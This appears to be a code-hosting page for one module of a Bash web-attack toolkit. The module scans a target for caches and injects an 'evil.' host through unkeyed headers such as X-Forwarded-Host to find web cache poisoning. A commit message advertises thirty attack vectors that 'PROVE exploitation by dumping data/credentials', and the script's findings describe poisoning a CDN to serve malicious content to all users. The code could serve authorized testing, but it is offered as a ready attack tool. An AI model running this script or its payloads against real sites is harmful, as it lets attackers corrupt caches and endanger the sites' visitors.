New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
112 lines
3.3 KiB
Bash
112 lines
3.3 KiB
Bash
#!/usr/bin/env bash
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# Vector 29: Web Cache Poisoning — Persistent cache-based attacks
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# Desc: Tests for cache poisoning via unkeyed headers & params
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# Severity: HIGH
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# Proof: Confirms by serving poisoned content to subsequent requests
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vector_cache_poisoning() {
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local target="$1"
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local report="$2"
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local domain=$(get_domain "$target")
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local findings=0
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print_info "Hunting Web Cache Poisoning..."
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local base=$(get_base "$target")
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# Unkeyed headers to test for cache poisoning
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local unkeyed_headers=(
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"X-Forwarded-Host"
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"X-Forwarded-Scheme"
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"X-Forwarded-Port"
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"X-Original-URL"
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"X-Original-Host"
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"X-Rewrite-URL"
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"X-Real-IP"
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"Forwarded"
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"X-HTTP-Method-Override"
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"X-Originating-URL"
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)
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# Cache proxy headers to look for
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local cache_headers=(
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"X-Cache"
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"X-Cache-Lookup"
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"CF-Cache-Status"
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"Age"
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"X-Served-By"
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"X-Cached"
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"X-Proxy-Cache"
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"X-Varnish"
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"X-Cache-Debug"
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"Cache-Control"
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)
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# First, check if caching is in use
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local baseline=$(curl -sI --connect-timeout 5 --max-time 8 "$target" 2>/dev/null)
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local cache_detected=0
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for hdr in "${cache_headers[@]}"; do
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if echo "$baseline" | grep -qi "$hdr"; then
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cache_detected=1
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local val=$(echo "$baseline" | grep -i "$hdr" | tr -d '\r' | head -1)
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print_sub "Cache detected: $val"
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fi
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done
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if [ "$cache_detected" -eq 1 ]; then
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# Test unkeyed headers for X-Forwarded-Host
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for header in "${unkeyed_headers[@]}"; do
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local evil_host="evil.${domain}"
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local test_response=$(curl -s --connect-timeout 5 --max-time 8 \
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-H "${header}: ${evil_host}" \
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"$target" 2>/dev/null)
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# Check if the response includes our injected host
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if echo "$test_response" | grep -qi "$evil_host" || \
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echo "$test_response" | grep -qi "evil\.${domain}"; then
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print_find "Cache Poisoning via ${header}!" "Injected $evil_host into response"
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echo "SEVERITY: HIGH
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VECTOR: Web Cache Poisoning
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DETAIL: Unkeyed header ${header} reflected in response
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URL: $target
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HEADER: ${header}: ${evil_host}
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EXPLOIT: Poison CDN cache to serve malicious content to all users" > "$REPORTS_DIR/.finding_cache_$(date +%s).txt"
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findings=$((findings + 1))
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break
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fi
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done
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# Test cache key via parameter cloaking
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local cloaked_params=(
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"?test=1&test=2"
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"?test=1%26test=2"
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"?test=1&utm_source=cachebuster"
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"?test=1&dontcache=1"
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)
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for param in "${cloaked_params[@]}"; do
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local url="${target}${param}"
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local resp1=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
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sleep 1
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local resp2=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
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# Same size with different params = possible cache poisoning vector
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if [ "$resp1" = "$resp2" ] && [ -n "$resp1" ] && [ "$resp1" -gt 0 ]; then
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local cached_headers=$(curl -sI --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
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if echo "$cached_headers" | grep -qi "hit\|HIT\|fresh"; then
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print_find "Cacheable Parameter!" "Response cached with: $param"
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findings=$((findings + 1))
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break
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fi
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fi
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done
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fi
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if [ "$findings" -eq 0 ]; then
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print_info "No cache poisoning opportunities found"
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fi
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return $findings
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}
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